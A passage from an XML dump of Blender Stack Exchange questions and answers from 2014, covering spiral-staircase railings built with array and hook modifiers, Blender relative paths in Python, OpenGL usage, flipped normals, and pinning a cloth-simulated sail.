here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this - &lt;img src=&quot;https://i.stack.imgur.com/Qienw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The merge option in the array modifier doesn't seem to do a good job&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZTFbH.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ncQaf.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Does anybody knows how can I make a fence that follows the spiral in a perfect alignment with the spiral that follow the stairs and at the same time every part of it to be connected so that when subdivision surface is added to it, the fence to be rounded, like the representation in the 5th image from above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I did it as Gandalf3 explained, but I'm having a problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PNl89.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is that line that is visible when subdivision surface is added and how to fix it?&#xA;Note: I was having trouble with vertex groups so I duplicated the model and on the duplicate I applied the array so I could use it as a guide to align the vertecies of the end of the cylindar to the begining of the second one (&quot;cursor to selected&quot;-&quot;selection to cursor&quot;). And I edded a hook modifier and made the &quot;Object&quot; to be the &quot;Empty&quot; and on &quot;Vertex groups&quot; I added the vertex group. And I'm not sure if they are now connected. And I didn't parent the empty to the other empty. But they should be connected now right? Here is the blend file if someone would like to check it out - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29776&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/29776&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its my first upload file so inform me if it can't opened.&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-06-13T15:09:04.860" LastActivityDate="2014-06-13T15:09:04.860" Title="How to make a bannister for a spiral staircase?" Tags="&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12151" PostTypeId="2" ParentId="12150" CreationDate="2014-06-11T20:39:49.080" Score="10" Body="&lt;p&gt;One way is to just add some cylinders to your stair object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vWLdp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the cylinder meshes while in edit mode with the stair object selected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Line up the geometry on the end of each cylinder (snapping is useful here, as it leaves no doubt about which vertex should be merged with what):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oj1Mv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I did in the gif:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Note the Z rotation of the array empty (this is only needed for the initial setup, it will be done automatically later), then enter edit mode and rotate the end to the cylinder the same amount (in my case, ~&lt;code&gt;3.1&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;apply modifier to edit cage&lt;/em&gt; on the array modifier (inverted triangle icon).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Ensure the snapping type is set to &lt;em&gt;Vertex&lt;/em&gt; and &lt;em&gt;Self snapping&lt;/em&gt; is enabled in &lt;em&gt;3D view &gt; Header&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select any part of the horizontal cylinder, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; (select linked) &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt; (Invert selection) &lt;kbd&gt;H&lt;/kbd&gt; (Hide selection) to get a clearer view and make snapping easier.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the rotated end of the horizontal cylinder selected, press &lt;kbd&gt;G&lt;/kbd&gt; and then hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; with your mouse cursor over the other end of the cylinder in the next array element.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now enable &lt;em&gt;Merge&lt;/em&gt; in the array modifier to merge those vertices together, resulting in a sub-serfable railing: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AO5YO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;By using hooks parented to the main empty, you can keep the merged parts in the right locations, no matter where you move the main empty:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8v54.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, select the end of the horizontal railing cylinder and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;H&lt;/kbd&gt;&lt;em&gt;&gt; Hook to new object&lt;/em&gt;. This will automatically add a vertex group, an empty, and a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Hooks&quot; rel=&quot;noreferrer&quot;&gt;hook modifier&lt;/a&gt;. The hook modifier will bind the location of the vertices in the vertex group to the location of the empty.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Parent the newly created hook empty to the empty controlling the array (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;&gt; Object&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCewA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat the hook+parent for the bottom edge loop of the central column.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;See this &lt;a href=&quot;http://www.pasteall.org/blend/29758&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;example .blend&lt;/strong&gt;&lt;/a&gt; to explore it yourself :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-06-12T00:03:54.887" LastActivityDate="2014-06-12T00:03:54.887" CommentCount="22" ContentLicense="CC BY-SA 3.0" />
  <row Id="12152" PostTypeId="1" AcceptedAnswerId="12153" CreationDate="2014-06-11T23:28:17.870" Score="14" ViewCount="5810" Body="&lt;p&gt;Functions such as &lt;code&gt;os.path.exists(image.filepath)&lt;/code&gt; fail when Blender uses relative paths, This seems to be because Blender uses &lt;code&gt;//&lt;/code&gt; prefix for relative paths, unlike the more conventional &lt;code&gt;./&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can standard Python filesystem functions be used correctly on Blender paths?&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-06-11T23:45:09.863" LastActivityDate="2018-12-11T13:12:35.633" Title="Absolute path of files in Blender (with Python)" Tags="&lt;python&gt;&lt;blend-files&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12153" PostTypeId="2" ParentId="12152" CreationDate="2014-06-11T23:28:17.870" Score="18" Body="&lt;p&gt;The &lt;code&gt;//&lt;/code&gt; prefix is Blender specific to denote relative paths used within Blender,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use Python's filesystem functions you'll have to first expand this using:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.path.html#bpy.path.abspath&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.path.abspath&lt;/code&gt;&lt;/a&gt;, to replace &lt;code&gt;os.path.abspath&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.blender.org/api/blender_python_api_current/bpy.path.html#bpy.path.relpath&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;bpy.path.relpath&lt;/code&gt;&lt;/a&gt;, to replace &lt;code&gt;os.path.relpath&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath_full = bpy.path.abspath(image.filepath, library=image.library)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unlike &lt;code&gt;./&lt;/code&gt;, which simply expands the current-working-directory (&lt;code&gt;os.getcwd()&lt;/code&gt;), Blender supports library-linked files. This means the directory of the current data-block could be a different path then the currently open Blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are operating data which the script created, You can skip passing the &lt;code&gt;library&lt;/code&gt; argument.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath_full = bpy.path.abspath(image.filepath)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this isn't specific to images, it works for movie-clip, sounds, sequencer and text blocks too.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="3710" LastEditDate="2018-06-17T16:35:34.793" LastActivityDate="2018-06-17T16:35:34.793" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="12154" PostTypeId="1" AcceptedAnswerId="16464" CreationDate="2014-06-11T23:36:23.530" Score="4" ViewCount="1955" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;Intro:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello there! I am making an FPS, and I have deleted way too many good projects of mine due to this problem; I am sick of it and I want it solved. My other question about it got closed because it was unclear, so I'll make this as clear as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Scene:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a simple scene with a plane. The plane is default, with no edits to it, not even a texture. It has only been scaled, that's all. After that, above the ground a bit, is my character. The collision bounds (rectangle) is basically just a collision bound to a model (character) that is set to &quot;no collision&quot; and is not an actor. The character has nothing to do with this. It does not affect anything. The only important part is the head. The head is part of the character and has &lt;strong&gt;&lt;em&gt;Mouse (Movement) &gt; Python&lt;/em&gt;&lt;/strong&gt;. The Python is just the &lt;a href=&quot;http://riyuzakisan.weebly.com/mousemove-script.html&quot; rel=&quot;nofollow&quot;&gt;mouselook script&lt;/a&gt;. The head is the parent of the camera and just has &lt;strong&gt;&lt;em&gt;ml.inherit&lt;/em&gt;&lt;/strong&gt; along with some &lt;em&gt;cap&lt;/em&gt; options (in the logic editor). There is also some basic lighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Problem:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time I look upwards with my mouse (moving my mouse forwards), just 1 degree above where the head normally faces, the whole scene just gets &quot;ruined.&quot; However, this does not happen when I look down. What happens when I look up is that it seems that the lighting, first of all, is quickly, every millisecond, &quot;flipped&quot; where the ambient is more brown instead of blueish yellow. At the same time, the head keeps on flashing (going between visible and invisible). I think the head flashes once per second, but I'm not sure. How do I stop the &quot;twitching&quot; from happening? Here is my &lt;a href=&quot;http://www.pasteall.org/blend/29768&quot; rel=&quot;nofollow&quot;&gt;.blend&lt;/a&gt;, thank you!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="1597" LastEditDate="2014-06-12T21:07:40.283" LastActivityDate="2015-04-11T06:04:10.100" Title="Blender mouselook problem" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12155" PostTypeId="2" ParentId="7137" CreationDate="2014-06-12T01:34:36.370" Score="1" Body="&lt;p&gt;So far all I have is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;scn = bpy.context.scene&#xA;x = scn.sequence_editor.sequences.new_image(&quot;bacon&quot;, &quot;/var/tmp/blender/unit-blocks-s2/0001.png&quot;, 3, 1)&#xA;print(x)&#xA;for i in range(2,200):&#xA;    x.elements.append(&quot;%04d.png&quot; % i)&#xA;&#xA;au = scn.sequence_editor.sequences.new_effect(&quot;eggs&quot;, 'TRANSFORM', 4, 1, len(x.elements), x)&#xA;au.update()&#xA;&#xA;print(au)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 'ALPHA_UNDER' effect strip requires two input strips, and I'm not sure what the second one would be in your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this enough to get you started?  Feel free to comment on this answer or refine your question.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2014-06-12T01:34:36.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12158" PostTypeId="1" AcceptedAnswerId="12163" CreationDate="2014-06-12T04:34:39.050" Score="0" ViewCount="459" Body="&lt;p&gt;I created a mesh in MakeHuman. For Unity I need an armature, but it needs to be fit inside the mesh. My mesh is in a weird position (not the T-pose) and I just cannot get all the fingers and joints to line up. Is there a way to make an armature automatically fit inside a mesh?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastActivityDate="2014-06-12T06:41:13.710" Title="Is there a way to automatically fit an armature to a mesh?" Tags="&lt;mesh&gt;&lt;armature&gt;&lt;makehuman&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12159" PostTypeId="1" CreationDate="2014-06-12T04:38:51.393" Score="8" ViewCount="1531" Body="&lt;p&gt;This may seem like a stupid question, but I am really not clear about its answer.&#xA;&lt;br/&gt;&#xA;I want to know what role OpenGL plays inside Blender: is it just for displaying the user interface, or does the Blender internal rendering engine also use it for Rendering the 3D scene?&lt;br/&gt;&#xA;And can we customize the blender internal using BGL blender OpenGL wrapper?&lt;/p&gt;&#xA;" OwnerUserId="2713" LastEditorDisplayName="user1853" LastEditDate="2014-06-12T06:11:27.060" LastActivityDate="2015-09-13T14:52:09.457" Title="Which parts of Blender use OpenGL?" Tags="&lt;blender-internal-render-engine&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12161" PostTypeId="2" ParentId="12159" CreationDate="2014-06-12T05:39:01.413" Score="8" Body="&lt;p&gt;Blender uses OpenGL for &lt;em&gt;(basically all drawing)&lt;/em&gt;...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Drawing the 3D view-port.&lt;/li&gt;&#xA;&lt;li&gt;Drawing all parts of the interface (buttons, color wheel, menus etc).&lt;/li&gt;&#xA;&lt;li&gt;Off screen OpenGL rendering is used for 3D view-port render and preview rendering scenes in the sequencer and view-port lamp-shadows.&lt;/li&gt;&#xA;&lt;li&gt;Shader nodes display as OpenGL GLSL shaders in the view-port.&lt;/li&gt;&#xA;&lt;li&gt;The GameEngine also does all drawing via OpenGL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;All other rendering is done on the CPU or GPU&lt;br&gt;(and in that case it uses CUDA or OpenCL, &lt;strong&gt;not OpenGL&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can run Blender without using any OpenGL functionality by using &lt;strong&gt;background mode&lt;/strong&gt; (see &lt;code&gt;blender --help&lt;/code&gt; for details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you happen to have a system without any hardware acceleration, you can use software OpenGL (Mesa can do this for example), although its noticeably slower.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that Blender is somewhat unusual in using OpenGL for _all_ interface drawing, not many applications do this.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-09-13T14:52:09.457" LastActivityDate="2015-09-13T14:52:09.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12162" PostTypeId="2" ParentId="12099" CreationDate="2014-06-12T06:40:36.050" Score="0" Body="&lt;p&gt;Thanks Pablo, you pointed me in the correct direction. When comparing two action strips, I noticed that one was working and the other wasn't. After further investigation I stumbled upon why; I changed the setting &lt;strong&gt;extrapolation&lt;/strong&gt; from &lt;strong&gt;hold&lt;/strong&gt; to &lt;strong&gt;hold forward&lt;/strong&gt;, and bingo, I can now see the effect on my video of the many key frames I created, and thought I'd lost! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/imEpS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand, why this happened or what this setting does, however! So if someone could please explain, I'd  appreciate it;&#xA;also why this works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fMlFQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this doesnt't:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zRwY4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4785" LastEditorUserId="4785" LastEditDate="2014-06-12T19:11:49.920" LastActivityDate="2014-06-12T19:11:49.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12163" PostTypeId="2" ParentId="12158" CreationDate="2014-06-12T06:41:13.710" Score="2" Body="&lt;p&gt;MakeHuman is able to export a fully rigged model, just enable the &#xA;the option in the export settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eMfOh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The complete process (including unity) is described here&#xA;&lt;a href=&quot;http://docs.unity3d.com/Manual/BlenderAndRigify.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Unity Import Using Blender and Rigify&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T06:41:13.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12164" PostTypeId="2" ParentId="12144" CreationDate="2014-06-12T08:11:29.583" Score="1" Body="&lt;p&gt;Thats right, first you create a walk cycle where your character walking in place. When you are done you could:&#xA;1st. keyframe the location of the character / armature &#xA;or&#xA;2nd. Add&gt;Curve&gt;Path and select your character Armature and then &lt;em&gt;shift&lt;/em&gt; - select the path an &lt;em&gt;ctrl&lt;/em&gt; - P &gt; Follow Path &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For me it's much easier to tweak a walk cycle in place and creat the forward animation separately with one of the 2 possibilities mentioned above.   &lt;/p&gt;&#xA;" OwnerUserId="2488" LastActivityDate="2014-06-12T08:11:29.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12165" PostTypeId="1" AcceptedAnswerId="12174" CreationDate="2014-06-12T08:35:01.470" Score="31" ViewCount="153872" Body="&lt;p&gt;What's happening is that &lt;strong&gt;I have tried&lt;/strong&gt; to flip the normals, inside and out, but there are always faces which have to be flipped!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normals recalculated&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GBkKR.png&quot; alt=&quot;Normals re calculated&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside View&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nUtuI.png&quot; alt=&quot;Inside view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I flip them again, all faces get flipped and end up horrible and, not working &lt;em&gt;at all&lt;/em&gt;. So how can I make all of the faces flip to the right direction?&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="55" LastEditDate="2016-04-07T08:08:04.887" LastActivityDate="2020-07-26T23:52:53.297" Title="How to make all faces flip to the right/consistent direction?" Tags="&lt;modeling&gt;&lt;normals&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12166" PostTypeId="1" AcceptedAnswerId="12171" CreationDate="2014-06-12T08:38:16.180" Score="1" ViewCount="1104" Body="&lt;p&gt;How can I apply mesh transformations using the Blender's &lt;code&gt;mathutils&lt;/code&gt; 3D transformation matrix to a sphere formed using &lt;code&gt;bpy.ops.mesh.primitive_uv_sphere_add()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am successfully able to construct a 3D transformtaion matrix using &lt;code&gt;mathutils.Matrix.Rotation&lt;/code&gt; matrix and &lt;code&gt;mathutils.Matrix.Translation&lt;/code&gt; matrix and apply the &lt;code&gt;transform()&lt;/code&gt; operation on a mesh created manually using &lt;code&gt;me = bpy.data.meshes.new()&lt;/code&gt; and passing it the vertices and faces/edges using &lt;code&gt;me.from_pydata(verts, edges, faces)&lt;/code&gt;. However, I would like to use the same transformation matrix to apply the corresponding transformations to a sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone point out a way to do the above; or suggest some workaround for the same?&lt;/p&gt;&#xA;" OwnerUserId="4804" LastEditorUserId="4804" LastEditDate="2014-06-12T08:44:28.197" LastActivityDate="2014-06-12T11:20:55.647" Title="Apply mesh transformations to primitive_uv_sphere_add()" Tags="&lt;python&gt;&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12167" PostTypeId="2" ParentId="12165" CreationDate="2014-06-12T09:08:42.420" Score="5" Body="&lt;p&gt;I guess you ticked backface culling in the &lt;em&gt;Options Panel&lt;/em&gt; &lt;kbd&gt;N&lt;/kbd&gt; in section &lt;em&gt;Shading&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vtOGC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your normals again with the Normals display option ticked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image shows a cube with a single face removed, the normals should all point outwards. due to the deleted face all the faces with normals pointing backward are hidden. The faces with normal pointing in to the viewers direction are displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The materials also have a backface culling option (in game mode).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eK86E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-12T09:18:33.770" LastActivityDate="2014-06-12T09:18:33.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12168" PostTypeId="1" CreationDate="2014-06-12T09:16:43.897" Score="6" ViewCount="1602" Body="&lt;p&gt;Confirmation for &lt;em&gt;Save As&lt;/em&gt; is logic but for &lt;em&gt;Save&lt;/em&gt; is absurd. No other program that I use has this. How can I disable it?&lt;/p&gt;&#xA;" OwnerUserId="3444" LastActivityDate="2014-06-12T09:51:53.510" Title="Disable save (Ctrl+S) confirmation possible?" Tags="&lt;customization&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-06-12T17:30:41.660" ContentLicense="CC BY-SA 3.0" />
  <row Id="12169" PostTypeId="2" ParentId="12168" CreationDate="2014-06-12T09:51:53.510" Score="4" Body="&lt;p&gt;Although I wouldn't recommend this (I always increase the version number before saving), it is possible. Open up the &lt;em&gt;User Preferences&lt;/em&gt; and add the parameter &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_release/bpy.ops.wm.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;check_existing&lt;/a&gt; to the save function referenced from the dialog: (Note I tested this with &lt;kbd&gt;F2&lt;/kbd&gt; you might prefer the other expanded dialog)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;check_existing (boolean, (optional)) – Check Existing, Check and warn&#xA;  on overwriting existing files&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gas8V.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T09:51:53.510" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12170" PostTypeId="2" ParentId="11032" CreationDate="2014-06-12T10:52:10.387" Score="3" Body="&lt;p&gt;I found the answer, the way it is done is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;old_type = bpy.context.area.type&#xA;bpy.ops.object.mode_set(mode='EDIT')&#xA;bpy.context.area.type = 'VIEW_3D'&#xA;&#xA;bpy.ops.mesh.loopcut_slide(MESH_OT_loopcut={&quot;number_cuts&quot;:10, &quot;smoothness&quot;:0, &quot;falloff&quot;:'ROOT', &quot;edge_index&quot;:1})&#xA;bpy.ops.mesh.loopcut_slide(MESH_OT_loopcut={&quot;number_cuts&quot;:10, &quot;smoothness&quot;:0, &quot;falloff&quot;:'ROOT', &quot;edge_index&quot;:0})&#xA;bpy.context.area.type = old_type &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you should be in edit mode, and VIEW_3D context, then use the loop cut to cut the edge &quot;edge_index&quot;&lt;/p&gt;&#xA;" OwnerUserId="3761" LastActivityDate="2014-06-12T10:52:10.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12171" PostTypeId="2" ParentId="12166" CreationDate="2014-06-12T11:20:55.647" Score="1" Body="&lt;p&gt;This can be achieved by getting the mesh of the object and multiplying the transformation matrix to each vertex. (Possibly there is a convenience function for that).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy import context&#xA;import mathutils&#xA;from mathutils import Vector,Quaternion&#xA;import math&#xA;&#xA;obj = bpy.data.objects[&quot;Cube&quot;]  # particular object by name&#xA;#obj = bpy.context.scene.objects.active # active object&#xA;&#xA;# setup whatever matrix&#xA;mx = mathutils.Matrix.Rotation(math.radians(15.0), 4, 'X')&#xA;&#xA;mesh = obj.data&#xA;for vert in mesh.vertices:&#xA;    vert.co = mx * vert.co&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T11:20:55.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12172" PostTypeId="1" AcceptedAnswerId="12173" CreationDate="2014-06-12T12:12:38.870" Score="4" ViewCount="935" Body="&lt;p&gt;I added a cloth simulation to a canvas and want it to be moved by a wind force. The sail is blown away. How can this be prevented?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LInVq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T12:16:37.967" Title="How can a cloth simulated sail be prevented from flying away?" Tags="&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12173" PostTypeId="2" ParentId="12172" CreationDate="2014-06-12T12:16:37.967" Score="6" Body="&lt;p&gt;A few vertices should be added to a vertex group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S5ftF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this vertex group is assigned in the cloth settings with ticked &lt;em&gt;Pin&lt;/em&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GHMor.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides that I found that a vortex works better than plain wind force.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/12fmA.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T12:16:37.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
